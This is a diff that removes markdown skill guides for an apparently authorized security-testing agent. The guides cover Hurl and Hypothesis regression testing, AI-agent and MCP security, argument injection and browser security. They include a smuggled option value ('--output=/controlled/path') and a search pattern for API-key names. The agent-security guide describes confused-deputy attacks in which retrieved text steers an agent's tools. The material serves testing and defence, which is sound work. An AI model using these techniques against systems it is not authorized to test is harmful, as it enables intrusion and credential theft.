||||
operation: noop
|
||||
HTTP 204
|
||||
```
|
||||
|
||||
Hurl keeps cookies across requests in the same file, so an explicit `Cookie` header is unnecessary here.
|
||||
|
||||
Run one reviewed case against one authorized target first:
|
||||
|
||||
```bash
|
||||
hurl --test --jobs 1 --connect-timeout 5s --max-time 15s \
|
||||
--variable base_url=https://lab.example lab-regression.hurl
|
||||
```
|
||||
|
||||
When credentials are required, pass them with `--secrets-file local-secrets.env`, keep that file outside version control, and avoid verbose/debug output that could expose headers or bodies. Use `--variables-file` only for non-secret environment values.
|
||||
|
||||
## Designing a Security Regression
|
||||
|
||||
- Assert the security invariant, not only a status code: denied identity, final normalized location, absence/presence of a structural field, unchanged object state, or exact benign result.
|
||||
- Capture only values needed by later requests. Do not write tokens, personal data, or response bodies into committed reports.
|
||||
- Encode a malformed but non-triggering control alongside the suspected case.
|
||||
- Run the same file against vulnerable and fixed builds through `base_url` or other explicit variables.
|
||||
- Keep state-changing methods in a clearly labeled lab/staging file; prefer no-op actions, inert markers, and cleanup requests.
|
||||
- Check every redirect step when the vulnerability crosses routing, origin, or authentication boundaries. Blindly following redirects can hide the relevant transition.
|
||||
- Use unique canaries so cached or pre-existing state cannot create a false positive.
|
||||
|
||||
## Chain Structure
|
||||
|
||||
Organize longer files around capability transitions:
|
||||
|
||||
```text
|
||||
fingerprint -> establish session -> reach boundary -> prove primitive -> verify state -> cleanup
|
||||
```
|
||||
|
||||
At each response, assert the condition required by the next request. A final success assertion cannot explain which earlier assumption failed.
|
||||
|
||||
Useful Hurl features include:
|
||||
|
||||
- captures from headers, cookies, JSONPath, XPath, and regex queries
|
||||
- assertions over status, headers, body, JSON/XML, redirects, and timing
|
||||
- request-local options and variables
|
||||
- `--test` plus JSON, JUnit, TAP, or HTML reports
|
||||
|
||||
Consult the [Hurl manual](https://hurl.dev/docs/manual.html) for version-specific syntax instead of guessing an option.
|
||||
|
||||
## Safety Rules
|
||||
|
||||
- Use an explicit `base_url`; never derive the destination from untrusted response data without validating scheme, host, and port.
|
||||
- Review POST/PUT/PATCH/DELETE requests and server-side side effects before replay.
|
||||
- Set bounded timeouts and retries for the target; do not use polling as an unbounded brute-force loop.
|
||||
- Do not use Hurl for raw HTTP parser/smuggling cases when its HTTP stack normalizes the bytes being tested; use an appropriate raw harness in an isolated lab.
|
||||
- Use `--path-as-is` when literal `/../` or `/./` path segments are the behavior under test; otherwise Hurl's underlying URL handling can normalize them.
|
||||
- Redact reports. HTML/JSON/JUnit artifacts may contain request URLs, headers, captured variables, and response snippets.
|
||||
- Keep authentication material in local secret storage and use dedicated test accounts with minimum privilege.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
1. reviewed `.hurl` file with variableized target and no embedded secrets
|
||||
2. vulnerable, fixed, and negative-control environment descriptions
|
||||
3. assertion at every capability transition
|
||||
4. deterministic results with tool version and timestamps
|
||||
5. side effects, cleanup, and residual-state check
|
||||
6. redacted report appropriate for sharing
|
||||
@@ -1,100 +0,0 @@
|
||||
---
|
||||
name: hypothesis
|
||||
description: Property-based local differential testing with Hypothesis for parsers, canonicalizers, serializers, validators, routers, and other pure functions, emphasizing explicit invariants, shrinking, reproducibility, and bounded resource use
|
||||
---
|
||||
|
||||
# Hypothesis Differential Testing
|
||||
|
||||
Use [Hypothesis](https://hypothesis.readthedocs.io/) when a security property can be expressed over local code and failures are likely to hide in combinations of encoding, normalization, structure, or parser recovery. It is especially useful for comparing two implementations or checking that validation and consumption preserve the same meaning.
|
||||
|
||||
Do not point unrestricted generators at a live service. Hypothesis is safest and most useful against pure local adapters with no network, subprocess, filesystem, or persistent-state side effects.
|
||||
|
||||
## Install
|
||||
|
||||
Use an isolated virtual environment and install a reviewed pinned version:
|
||||
|
||||
```bash
|
||||
python -m pip install 'hypothesis==<reviewed-version>'
|
||||
```
|
||||
|
||||
Official project: [Hypothesis](https://github.com/HypothesisWorks/hypothesis)
|
||||
|
||||
## Start From an Invariant
|
||||
|
||||
Write the security relationship before writing strategies. Examples:
|
||||
|
||||
```text
|
||||
allowlist(raw) implies sink(canonicalize(raw)) remains inside the allowed origin/path
|
||||
validator(raw) accepts implies consumer(raw) assigns the same media type/structure
|
||||
parse_A(raw) and parse_B(raw) agree on message boundaries and authoritative fields
|
||||
serialize(parse(raw)) cannot introduce a delimiter, wildcard, traversal, or new field
|
||||
```
|
||||
|
||||
A test that only checks “does not crash” can find robustness bugs but does not establish a security differential.
|
||||
|
||||
## Minimal Differential Harness
|
||||
|
||||
```python
|
||||
from hypothesis import given, settings, strategies as st
|
||||
|
||||
|
||||
def outcome(parser, raw):
|
||||
try:
|
||||
return ("accept", parser(raw))
|
||||
except ExpectedParseError as exc:
|
||||
return ("reject", type(exc).__name__)
|
||||
|
||||
|
||||
@settings(max_examples=250, deadline=500)
|
||||
@given(st.text(max_size=128))
|
||||
def test_security_boundary(raw: str) -> None:
|
||||
checked = outcome(security_parser, raw)
|
||||
consumed = outcome(sink_parser, raw)
|
||||
assert equivalent_security_meaning(checked, consumed)
|
||||
```
|
||||
|
||||
- Bound string/list/binary sizes, recursion, examples, and deadline.
|
||||
- Build structured inputs from relevant tokens rather than generating unrestricted noise.
|
||||
- Normalize expected accept/reject/error outcomes explicitly so ordinary parser rejection is not mistaken for a property-test failure.
|
||||
- Use `st.one_of`, `st.sampled_from`, `st.lists`, `st.binary`, `st.text`, and composite strategies to represent the actual grammar.
|
||||
- Add explicit edge seeds with `@example` for known delimiters and regressions.
|
||||
- Let Hypothesis shrink failures; the minimal counterexample is often the clearest explanation of the parser disagreement.
|
||||
|
||||
## High-Value Strategy Axes
|
||||
|
||||
- percent and double encoding, malformed escapes, mixed separators
|
||||
- Unicode normalization, replacement characters, surrogates, case folding, IDNA
|
||||
- dot segments, slash/backslash, absolute/relative paths, sibling-prefix collisions
|
||||
- duplicate, empty, first/last, comma-joined, or differently cased fields
|
||||
- declared length versus actual bytes, truncation, padding, and terminators
|
||||
- nested objects, parser depth, ordering, unknown keys, and error recovery
|
||||
- serialize/deserialize round trips and version-to-version behavior
|
||||
|
||||
Generate only axes supported by the target's transformation graph. Cartesian payload spraying obscures causality.
|
||||
|
||||
## Reproducibility
|
||||
|
||||
- Keep the minimized failing example as a normal regression test.
|
||||
- Preserve code revision, dependency lock, locale, platform, and parser/library versions.
|
||||
- Keep Hypothesis's example database in a task-specific artifact directory when replay across runs matters.
|
||||
- For CI, rely on stored explicit regressions for critical cases; randomized discovery supplements them.
|
||||
- Classify nondeterminism before suppressing health checks. Timing, global state, environment, and shared caches can create flaky false differentials.
|
||||
|
||||
## Safety and Resource Controls
|
||||
|
||||
- Adapt target functions so tests cannot reach the network or execute commands.
|
||||
- Use temporary directories and non-secret corpora for parsers that require files.
|
||||
- Put native parsers in a disposable, networkless process/container with CPU, memory, file-size, and process ceilings.
|
||||
- Do not disable deadlines globally to hide hangs; isolate and bound intentionally slow examples.
|
||||
- A crash, timeout, or excessive allocation is a robustness result. Prove a security boundary or exploitability separately.
|
||||
- Never reuse captured credentials, customer content, or production requests as generative corpora without sanitization.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
1. stated invariant and why it protects a security boundary
|
||||
2. adapters and exact component/version pair compared
|
||||
3. bounded strategies and resource settings
|
||||
4. minimized counterexample and both interpretations
|
||||
5. stable explicit regression test
|
||||
6. impact trace from disagreement to privileged consumer
|
||||
7. fixed-version or corrected-invariant result
|
||||
@@ -98,12 +98,11 @@ The sandbox's Python lives in `/app/.venv`, and it is the active virtualenv
|
||||
`requests`, `httpx`, `beautifulsoup4` (`bs4`), `lxml`, `pyjwt` (`jwt`),
|
||||
`cryptography`.
|
||||
|
||||
To add a one-off dependency for an exploit script, use `uv` (already in the
|
||||
image and much faster than pip):
|
||||
To add a one-off dependency for an exploit script, install it into the active
|
||||
venv with `pip`:
|
||||
|
||||
```bash
|
||||
uv pip install --python /app/.venv/bin/python <package>
|
||||
pip install <package>
|
||||
```
|
||||
|
||||
Plain `pip install <package>` also works because the venv is active. Install
|
||||
before you import, so scripts don't fail with `ModuleNotFoundError`.
|
||||
Install before you import, so scripts don't fail with `ModuleNotFoundError`.
|
||||
|
||||
@@ -1,207 +0,0 @@
|
||||
---
|
||||
name: agentic-system-security
|
||||
description: Security testing for authorized AI agents and MCP-style tool ecosystems, covering effective authority, tool/resource/prompt inventory, confused-deputy behavior, side-effect authorization, cross-tenant isolation, executable component supply chain, shadow integrations, and repeatable safety regression
|
||||
---
|
||||
|
||||
# Agentic System Security
|
||||
|
||||
Use this skill when an AI system can select tools, retrieve resources, invoke remote/local services, maintain memory, delegate to other agents, or install skills/plugins. Pair it with `llm_prompt_injection` for instruction attacks and classic vulnerability skills for the downstream HTTP, cloud, filesystem, identity, or code-execution sink.
|
||||
|
||||
Prompt text is not an authorization boundary. Treat the agent runtime as a confused deputy whose effective authority is bounded by the union of its credentials, tools, resources, network reach, filesystem access, delegated agents, and approval policy, then reduce that upper bound to the actually reachable subset by tracing token audience, scopes, routing, target authorization, environment, and approval flow.
|
||||
|
||||
## Effective-Authority Map
|
||||
|
||||
Draw the complete path:
|
||||
|
||||
```text
|
||||
user / external content
|
||||
-> model context and memory
|
||||
-> planner / router / policy
|
||||
-> tool or delegated agent
|
||||
-> credential and target system
|
||||
-> side effect / returned data
|
||||
```
|
||||
|
||||
Inventory, for each node:
|
||||
|
||||
- trust source and tenant/user ownership
|
||||
- immutable component identity, package/server name, version, and transport
|
||||
- tools, resources, prompts, model endpoints, plugins, skills, and MCP servers
|
||||
- credential identity, issuer, audience/resource, subject, tenant, scopes/roles, expiry, downstream token exchange, environment, and where it is injected
|
||||
- readable data and write/execute capabilities
|
||||
- network/listener exposure and test-versus-production target
|
||||
- argument validation, authorization point, approval point, schema/argument digest, delegated principal propagation, and audit log
|
||||
- data returned to the model and whether it can contain new instructions
|
||||
|
||||
Test from the lowest-privileged realistic user and device. The key comparison is the user's authority versus the agent/tool credential's authority.
|
||||
|
||||
## Core Test Areas
|
||||
|
||||
### Shadow Agent and AI Discovery
|
||||
|
||||
Do not assume the approved application inventory contains every agent, model endpoint, browser extension, local MCP server, or AI API integration. Correlate multiple independent signals:
|
||||
|
||||
- DNS/proxy/egress logs for first-seen model, agent, vector database, plugin, and AI SaaS domains
|
||||
- OAuth/SSO grants, enterprise-app consent, service principals, API tokens, and unusual delegated scopes
|
||||
- endpoint processes, browser extensions/native messaging, listening loopback ports, and MCP client/server configuration
|
||||
- repository, CI/CD, secrets-manager, and container/image references to model providers, tool servers, and AI credentials
|
||||
- cloud-hosted model endpoints, notebooks, functions, gateways, and procurement/expense/SaaS inventory
|
||||
|
||||
Baseline local discovery from the host before interpreting network or SSO signals:
|
||||
|
||||
```bash
|
||||
# macOS
|
||||
lsof -nP -iTCP -sTCP:LISTEN
|
||||
ps -axo pid,ppid,user,command
|
||||
|
||||
# Linux
|
||||
ss -lntp
|
||||
ps -eo pid,ppid,user,args
|
||||
|
||||
# Windows PowerShell
|
||||
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess
|
||||
Get-Process | Select-Object Id,ProcessName,Path
|
||||
|
||||
# Cross-platform config and credential leads
|
||||
rg -l 'mcpServers|modelContextProtocol|OPENAI_API_KEY|ANTHROPIC_API_KEY|AZURE_OPENAI_ENDPOINT' <reviewed-roots>
|
||||
```
|
||||
|
||||
Correlate each listener or config hit to PID/container, parent process, binary hash/version, launch command, config file, destination, and credential reference before calling it an active agent component. A loopback listener is a lead, not proof of reachable authority.
|
||||
|
||||
Classify each discovered integration by data read, data write, external communication, execution, identity/admin, and production reach. Human-validate attribution before treating a domain or key name as active AI use. Inspect unauthenticated local MCP/agent listeners separately; network inventory tools often miss loopback-only services.
|
||||
|
||||
### Tool Discovery and Argument Boundaries
|
||||
|
||||
- Enumerate advertised and conditionally available tools, resources, prompts, schemas, annotations, and delegated agents.
|
||||
- Compare what the UI exposes with what the protocol/runtime accepts directly.
|
||||
- Test missing, extra, duplicate, nested, oversized, alternate-type, and cross-tenant identifiers in tool arguments.
|
||||
- Validate scheme/host/path, filesystem paths, cloud resource IDs, recipient identities, SQL/query fields, and command arguments at the tool boundary.
|
||||
- Treat tool descriptions, names, examples, resource metadata, and returned content as attacker-influenceable unless provenance is enforced.
|
||||
- Canonicalize tool identity as `server identity/version + endpoint/transport + tool name + schema digest`; do not collapse two identically named tools from different servers into one trust decision.
|
||||
- Treat protocol hints such as `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint` as untrusted metadata, not authorization.
|
||||
- Verify that unknown tools or schema-invalid calls fail closed without falling back to a broader handler.
|
||||
|
||||
### Confused Deputy and Consequential Actions
|
||||
|
||||
- Ask whether untrusted user/document/tool text can choose the tool, target, identity, or action.
|
||||
- Test read-to-write escalation: a summarizer should not send, publish, delete, purchase, deploy, or modify because retrieved text requests it.
|
||||
- Test whether approval binds the exact server identity/version, tool name, schema digest, normalized arguments, credential, target, side effect, and expiry. Revalidate those fields immediately before execution; a generic “continue?” is weak if arguments can change after approval.
|
||||
- Exercise replay, retry, parallel calls, partial failure, cancellation, and delegated execution for duplicate or bypassed actions.
|
||||
- Prove impact at the actual target and audit log. Model narration or a fabricated tool result is not evidence.
|
||||
- Use dry-run/no-op/read-only operations first; require explicit human approval for consequential operations.
|
||||
|
||||
### Identity, Tenant, and Environment Isolation
|
||||
|
||||
- Vary user, workspace, tenant, session, conversation, and delegated-agent identity independently.
|
||||
- Test whether one tenant can reference another tenant's resources, tool sessions, caches, vector entries, files, or credentials.
|
||||
- Check whether development/test tools or credentials can reach production, and whether local tools inherit broad workstation authority.
|
||||
- Verify credential scoping at the target service, not only in the agent's application logic.
|
||||
- Confirm memory and cached tool results are partitioned and revoked when identity or role changes.
|
||||
|
||||
### MCP and Local Tool Servers
|
||||
|
||||
- Inventory stdio, streamable HTTP, SSE/legacy, and custom transports; record bind address, origin/auth controls, process command, environment, and lifecycle.
|
||||
- Look for unauthenticated loopback services reachable from browsers, containers, local users, SSRF, port forwarding, or shared hosts.
|
||||
- Compare `tools/list`, `resources/list`, and `prompts/list` results across identities, but do not assume listing means calling is authorized.
|
||||
- For each tool, validate the same authorization and argument checks through every supported transport.
|
||||
- Treat server-launched subprocess configuration, environment variables, and working directories as sensitive executable configuration.
|
||||
- For HTTP/SSE transports, validate OAuth issuer, signature, expiry, audience/resource, tenant, and scope claims at the server boundary. Reject tokens minted for the wrong audience, and do not treat a session ID as identity.
|
||||
- For downstream APIs, do not pass through the same bearer token unless the target explicitly authorizes that audience and principal. Separate upstream MCP authentication from downstream target authorization.
|
||||
- For browser or loopback OAuth, review redirect URI, state/PKCE handling, localhost binding, and consent proxying. Treat metadata fetches and tool discovery on remote servers as SSRF-relevant surfaces.
|
||||
- For stdio servers, the launch command and environment are already code execution. Discovery must not execute an unreviewed server binary or mutable package tag.
|
||||
|
||||
### Executable Component Supply Chain
|
||||
|
||||
Every skill, plugin, MCP server, model adapter, package, and update channel is an executable or behavior-shaping dependency. Record:
|
||||
|
||||
- canonical source, publisher, package namespace, pinned version and integrity/provenance
|
||||
- install/update mechanism, manifest/lockfile/config source, mutable tags, automatic updates, and rollback path
|
||||
- declared and effective permissions, credentials, filesystem/network access
|
||||
- transitive dependencies and lifecycle scripts
|
||||
- review/approval ownership and last verification date
|
||||
|
||||
In agent and MCP configs, inspect `command: npx` with `-y` and a bare package or
|
||||
binary name. The process can fetch code without an interactive prompt and then
|
||||
run it with the agent's authority. Load `npx_confusion` to determine whether the
|
||||
name resolves locally, becomes a public package spec, and belongs to the
|
||||
intended publisher.
|
||||
|
||||
Test missing/private-name fallback, typosquatting exposure, mutable remote instructions, compromised-update blast radius, and whether an “instruction-only” component can invoke tools or modify executable files. Resolve `latest`, floating git refs, and mutable image tags to immutable versions or digests before launch. Do not claim or publish contestable package names as proof, and do not execute unknown packages just to discover what they are.
|
||||
|
||||
Load `infrastructure_lifecycle` when a skill, plugin, MCP server, model adapter, tool-schema origin, package namespace, or update endpoint is retired, mutable, or externally reassignable. Passive receipt of an agent heartbeat or catalog request does not authorize returning tool definitions, prompts, commands, or executable content.
|
||||
|
||||
### Output, Telemetry, and Failure Modes
|
||||
|
||||
- Validate model/tool output before it reaches HTML, shell, SQL, URLs, file paths, templates, or a second agent.
|
||||
- Ensure logs record initiating user, tool/server identity, sanitized arguments, approval, target, result, and correlation ID without storing secrets.
|
||||
- Test timeout, tool error, truncated output, malformed result, model retry, and policy-service failure. Failures should not silently switch to a more privileged tool or credential.
|
||||
- Verify kill switches, credential revocation, and disabling a component actually terminate active sessions and queued work.
|
||||
|
||||
## Safe Testing Workflow
|
||||
|
||||
1. **Map** every capability and trust boundary before injecting prompts.
|
||||
2. **Classify** tools as read, write, execute, communicate, identity/admin, or external-cost.
|
||||
3. **Establish controls** with dedicated test tenants, synthetic data, read-only credentials, budgets, and target allowlists.
|
||||
4. **Probe one boundary** at a time: selection, arguments, authorization, approval, execution, result handling.
|
||||
5. **Validate the side effect** in the target system and audit trail; compare denied and allowed identities.
|
||||
6. **Chain confirmed primitives** using the effective-authority and capability map from this skill.
|
||||
7. **Clean up and revoke** created data, sessions, tokens, and local servers.
|
||||
8. **Turn each confirmed case into a regression** across relevant models, prompts, tools, roles, and environments.
|
||||
|
||||
## MCP Inspector (Conditional)
|
||||
|
||||
Use the official [MCP Inspector](https://github.com/modelcontextprotocol/inspector) only against a reviewed local/test server:
|
||||
|
||||
```bash
|
||||
npx @modelcontextprotocol/inspector@<reviewed-version> --cli \
|
||||
--config reviewed-mcp.json --server test-server \
|
||||
--method tools/list --format json
|
||||
```
|
||||
|
||||
- Current upstream requirements should be checked before pinning; as of August 12, 2026, MCP Inspector 2.1.0 requires Node.js `>=22.19.0`.
|
||||
- Prefer CLI/TUI and loopback binding over exposing the web UI.
|
||||
- Preserve the generated API token; never disable authentication or bind the process-spawning backend to an external interface.
|
||||
- Do not publish ports 6274/6277 or pass through the Docker socket/host devices.
|
||||
- `tools/list` is protocol-read-only, but launching/initializing an arbitrary stdio server executes it and list handlers can still have process-side effects. Review the server command/config first. Calling a tool can perform real external actions.
|
||||
- Treat the inspected server command/config as executable; `npx` also downloads code, so pin a reviewed package version for repeatable or sensitive work.
|
||||
|
||||
## Regression With Promptfoo (Conditional)
|
||||
|
||||
[Promptfoo](https://github.com/promptfoo/promptfoo) can encode a bounded model/tool safety matrix after manual validation:
|
||||
|
||||
```bash
|
||||
npx promptfoo@<reviewed-version> eval
|
||||
```
|
||||
|
||||
- Current upstream engine constraints should be checked before pinning; as of August 12, 2026, Promptfoo documents Node.js `^20.20.0` or `>=22.22.0`.
|
||||
- Use synthetic prompts/data and a dedicated test provider/project.
|
||||
- Provider calls transmit data externally and can incur cost even when evaluation orchestration is local. Set request/concurrency and spending ceilings.
|
||||
- Pin model, provider, prompt, tool schema, retrieval corpus revision, and evaluator versions.
|
||||
- Include allowed and denied controls across roles/tenants; use multiple runs for nondeterministic outcomes.
|
||||
- Automated red-team labels are leads, not findings. Confirm the real tool call, data access, or side effect manually.
|
||||
- Store redacted results; evaluation logs can contain system prompts, secrets, retrieved data, and tool arguments.
|
||||
|
||||
## Validation
|
||||
|
||||
A report must include:
|
||||
|
||||
1. initiating identity, tenant, model/runtime, and exact component versions
|
||||
2. effective-authority map and relevant tool/resource schema
|
||||
3. untrusted input source and decision boundary crossed
|
||||
4. exact target-side operation or data access, with redacted audit evidence
|
||||
5. denied identity/input and allowed control results across repeat runs
|
||||
6. credential, feature, approval, environment, and user-interaction prerequisites
|
||||
7. cleanup/revocation and a bounded regression case
|
||||
|
||||
## False Positives
|
||||
|
||||
- The model claims a tool ran but the target and audit log show no action.
|
||||
- A listed tool cannot be invoked by the tested identity or validates arguments safely.
|
||||
- A safety refusal changes wording but effective capability remains denied.
|
||||
- Cross-session output is synthetic, cached public data, or hallucinated rather than another user's data.
|
||||
- A scanner flags an instruction string without showing that it reaches a privileged decision or sink.
|
||||
- A component has broad declared permissions but the runtime credential/network policy prevents the claimed access.
|
||||
|
||||
## Summary
|
||||
|
||||
Agent security is capability security. Map the real authority carried through models, tools, credentials, plugins, and delegated agents; validate authorization and approval at the target-side effect; treat every installed component as executable supply chain; and preserve each confirmed boundary failure as a bounded regression.
|
||||
@@ -1,157 +0,0 @@
|
||||
---
|
||||
name: argument-injection
|
||||
description: Test shell-free command argument injection across argv builders and CLI parsers, including option smuggling, response/config-file parsing, argument-boundary reparsing, and Windows Unicode-to-ANSI Best-Fit transformations
|
||||
---
|
||||
|
||||
# Argument Injection
|
||||
|
||||
Use this skill when attacker-influenced data reaches a trusted command-line program, even when no shell is involved. The security question is whether the input changes the program's **option set, operands, configuration, subcommand, or downstream parser state**.
|
||||
|
||||
Load `rce` when a shell parses the command string. Load `semantic_confusion` when validation and the final CLI/filesystem/configuration consumer see different representations.
|
||||
|
||||
## Model Every Parser Boundary
|
||||
|
||||
Build the actual transformation chain:
|
||||
|
||||
```text
|
||||
request value
|
||||
-> application validation
|
||||
-> argv builder or command-line string serializer
|
||||
-> OS/process creation API
|
||||
-> runtime argv construction
|
||||
-> target option parser
|
||||
-> response/config/auth file parser, URL parser, or subcommand
|
||||
```
|
||||
|
||||
Do not treat all process APIs alike:
|
||||
|
||||
- POSIX `execve(path, argv, envp)` and list-form subprocess APIs preserve array-element boundaries. Whitespace inside one element does not create another argument.
|
||||
- Shell/string forms introduce shell tokenization before the target program sees `argv`.
|
||||
- Windows process creation commonly serializes an argument array into one command-line string and lets the child runtime parse it back. Quoting rules differ across CRTs and applications.
|
||||
- Some programs deliberately reparse an argument as a response file, configuration file, URL, expression, template, or nested command language.
|
||||
|
||||
Record the exact API, platform, runtime, target binary/version, option parser, and final `argv` observed by the child.
|
||||
|
||||
## Primitive 1: Option and Subcommand Injection
|
||||
|
||||
An attacker-controlled value placed where an operand is expected can be interpreted as an option when it begins with an option prefix:
|
||||
|
||||
```text
|
||||
intended: ["tool", USER_VALUE]
|
||||
supplied: USER_VALUE = "--output=/controlled/path"
|
||||
actual: tool parses an output option instead of an operand
|
||||
```
|
||||
|
||||
Inventory security-relevant option classes rather than memorizing one payload:
|
||||
|
||||
- output, upload, extraction, log, cache, plugin, template, or configuration paths
|
||||
- alternate URL schemes, proxies, certificates, credentials, and authentication files
|
||||
- hooks, helpers, filters, interpreters, external programs, or dynamic libraries
|
||||
- config overrides, environment definitions, working directories, and search paths
|
||||
- subcommands that expose administrative, import/export, restore, diagnostic, or execution features
|
||||
|
||||
Check whether the target supports `--` as an end-of-options marker and whether the application places it before the untrusted operand. Do not assume every CLI honors `--`, or that it applies after a subcommand switches to a second parser.
|
||||
|
||||
## Primitive 2: Argument-Boundary Breakout
|
||||
|
||||
Require a component that reparses or reconstructs arguments. Candidate boundaries include:
|
||||
|
||||
- shell or command-string construction
|
||||
- Windows quoting/escaping mismatches between parent and child runtimes
|
||||
- newline-, NUL-, delimiter-, or quote-sensitive custom launchers
|
||||
- wrappers that join an array and later split it
|
||||
- CGI/interpreter mappings that turn request data into command-line options
|
||||
|
||||
Distinguish these outcomes:
|
||||
|
||||
```text
|
||||
["tool", "user --flag"] # one argv element; no split by execve
|
||||
["tool", "user", "--flag"] # extra argv element reached the target
|
||||
["tool", "@args.txt"] # one element, then reparsed by the target
|
||||
```
|
||||
|
||||
Logs often render arrays as strings and can falsely suggest splitting. Capture the child's real arguments through source instrumentation, a wrapper process, debugger, audit trace, `/proc/<pid>/cmdline`, or the platform equivalent.
|
||||
|
||||
## Primitive 3: Response, Config, and Authentication Files
|
||||
|
||||
Many trusted programs consume a second language after argv parsing:
|
||||
|
||||
- `@response-file` syntax used by compilers, linkers, JVM tooling, and custom launchers
|
||||
- `--config`, `-K`, credentials/auth files, include files, and rc/profile paths
|
||||
- newline-delimited key/value files generated from attacker-controlled fields
|
||||
- file contents where control characters create a new directive, identity, host, or option
|
||||
|
||||
Trace both attacker influence over the **file path** and influence over the **file content**. Correct shell quoting does not protect a file that is later tokenized by a different grammar. Record duplicate-key behavior, newline rules, comments, escaping, include directives, and first/last-value precedence.
|
||||
|
||||
## Windows Unicode-to-ANSI Best-Fit
|
||||
|
||||
On Windows, narrow-character APIs and CRT startup paths can convert Unicode command-line, environment, or filesystem data into an ANSI code page. Best-Fit mappings may introduce ASCII characters after earlier validation.
|
||||
|
||||
Relevant boundaries include:
|
||||
|
||||
- `GetCommandLineA` or a narrow `main(int, char **)` startup path
|
||||
- `GetEnvironmentVariableA`, `GetCurrentDirectoryA`, and narrow filesystem APIs
|
||||
- framework or native-extension transitions from UTF-16 strings to an ANSI code page
|
||||
|
||||
`CommandLineToArgvW` is the documented Windows command-line parser; there is no documented `CommandLineToArgvA`. Determine which CRT or application-specific parser constructs narrow `argv`.
|
||||
|
||||
Treat mappings as code-page-specific hypotheses, not universal payloads. Candidate transformations include soft hyphen to `-`, fullwidth/compatibility slash characters to `/` or `\`, and compatibility quotes or letters to ASCII equivalents. Capture:
|
||||
|
||||
- submitted Unicode code points and encoded bytes
|
||||
- active system/process code page
|
||||
- wide string before conversion
|
||||
- narrow bytes and final `argv` or filesystem path after conversion
|
||||
|
||||
Using wide-character APIs removes this particular conversion boundary but does not fix ordinary option injection.
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
In source, locate process creation and work forward into the consumer:
|
||||
|
||||
```text
|
||||
exec* posix_spawn subprocess ProcessBuilder Runtime.exec
|
||||
CreateProcess ShellExecute child_process os/exec Command
|
||||
```
|
||||
|
||||
For each attacker-controlled argument, answer:
|
||||
|
||||
1. Is it a distinct argv element or part of a command string?
|
||||
2. Can it begin with the target's option prefix?
|
||||
3. Is an end-of-options marker supported and correctly positioned?
|
||||
4. Does a wrapper, CRT, shell, or target reparse it?
|
||||
5. Can it select a response/config/auth file or inject directives into one?
|
||||
6. Which target option or subcommand turns that control into read, write, request, identity, or execution capability?
|
||||
|
||||
For black-box testing, compare an ordinary operand with option-prefixed, delimiter-bearing, control-character, and platform-specific Unicode variants. Match tests to options that actually exist in the deployed binary/version.
|
||||
|
||||
## Validation
|
||||
|
||||
- Show the final `argv` or secondary parser input, not only the application log line.
|
||||
- Pair the candidate with a control where the same bytes remain a literal operand.
|
||||
- Demonstrate the exact option, directive, subcommand, path, or handler selected.
|
||||
- Reproduce against the deployed binary, runtime, code page, and configuration.
|
||||
- Separate option control, additional-argument control, arbitrary directive control, and command execution; they are different primitives.
|
||||
|
||||
## False Positives
|
||||
|
||||
- The input is one argv element and the target treats it only as a positional operand.
|
||||
- `--` is supported, placed before the value, and not bypassed by a subparser.
|
||||
- A strict allowlist prevents option prefixes and all later transformations preserve it.
|
||||
- A delimiter appears only in logging or display formatting.
|
||||
- A response/config path is controllable but its contents or directives are not.
|
||||
- A Unicode character is accepted but no narrow/Best-Fit conversion occurs.
|
||||
- The injected option exists on another release or platform but not the deployed target.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Use argument-array process APIs and avoid shell/string construction.
|
||||
- Insert `--` before untrusted operands where every relevant parser supports it.
|
||||
- Validate operands against the target CLI's grammar, not a generic shell blacklist.
|
||||
- Fix security-sensitive option names and configuration paths in trusted code.
|
||||
- Generate configuration/auth files with a format-aware serializer that rejects control characters and ambiguous duplicates.
|
||||
- On Windows, keep data in wide-character APIs and verify child-runtime parsing rules.
|
||||
- Enforce authorization again at the privileged operation selected by the CLI.
|
||||
|
||||
## Summary
|
||||
|
||||
Argument injection is control of a trusted program's behavior through its argv or a parser reached from argv. Preserve parser boundaries in the model: list-form execution, command-string tokenization, Windows runtime conversion, option parsing, and response/config-file parsing are distinct stages with distinct exploit conditions.
|
||||
@@ -1,192 +0,0 @@
|
||||
---
|
||||
name: browser-security
|
||||
description: Browser-internals security testing for browsing-context relationships, postMessage, client-side path traversal, XS-Leaks, service workers, Web Workers, navigation behavior, CSP interactions, caches, and cross-origin state machines
|
||||
---
|
||||
|
||||
# Browser Security
|
||||
|
||||
Use this skill when exploitability depends on browser behavior beyond a basic HTML injection. Model origins, browsing contexts, navigation history, workers, caches, router decoding, request metadata, and user activation as explicit state.
|
||||
|
||||
Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. For an Electron renderer with a preload or IPC bridge, load `electron_desktop_apps` to analyze whether navigation and origin transitions reach native capability.
|
||||
|
||||
## Safety Boundary
|
||||
|
||||
- Use a controlled browser profile, synthetic account/data, explicit target allowlist, and a fresh assessment-specific proxy/CA when interception is required.
|
||||
- Redact tokens, cookies, message contents, storage values, and personal data from console logs, captures, recordings, and reports.
|
||||
- Treat oversized URLs/headers, cookie inflation, redirect loops, cache exhaustion, and high-rate timing trials as resource/denial-of-service tests; run them only with strict ceilings in a restartable lab.
|
||||
- Do not attempt to set or spoof browser-generated `event.origin`. Vary the sender URL and record the serialized origin supplied by the browser.
|
||||
- Restore monkey-patched browser APIs and unregister test workers/caches after validation.
|
||||
|
||||
## Browser State Model
|
||||
|
||||
For each relevant page or worker, record:
|
||||
|
||||
- origin and site, including transitions after navigation
|
||||
- top-level window, opener, parent, child frames, named contexts, and retained references
|
||||
- sandbox flags, CSP `frame-ancestors`, COOP, COEP, CORP, and X-Frame-Options
|
||||
- service-worker controller and scope
|
||||
- storage access: cookies, local/session storage, IndexedDB, Cache API
|
||||
- navigation/history entries and redirect type: HTTP, JavaScript, form, meta refresh
|
||||
- user-activation and interaction requirements
|
||||
- browser family/version and enabled experimental features
|
||||
|
||||
Draw the context graph. Security checks on `event.origin`, `event.source`, or a popup reference are meaningful only when the lifetime and ownership of that context are understood.
|
||||
|
||||
## High-Value Surfaces
|
||||
|
||||
### postMessage and Window Relationships
|
||||
|
||||
- Enumerate listeners and senders; record message schema, origin check, source check, and reachable sinks/actions.
|
||||
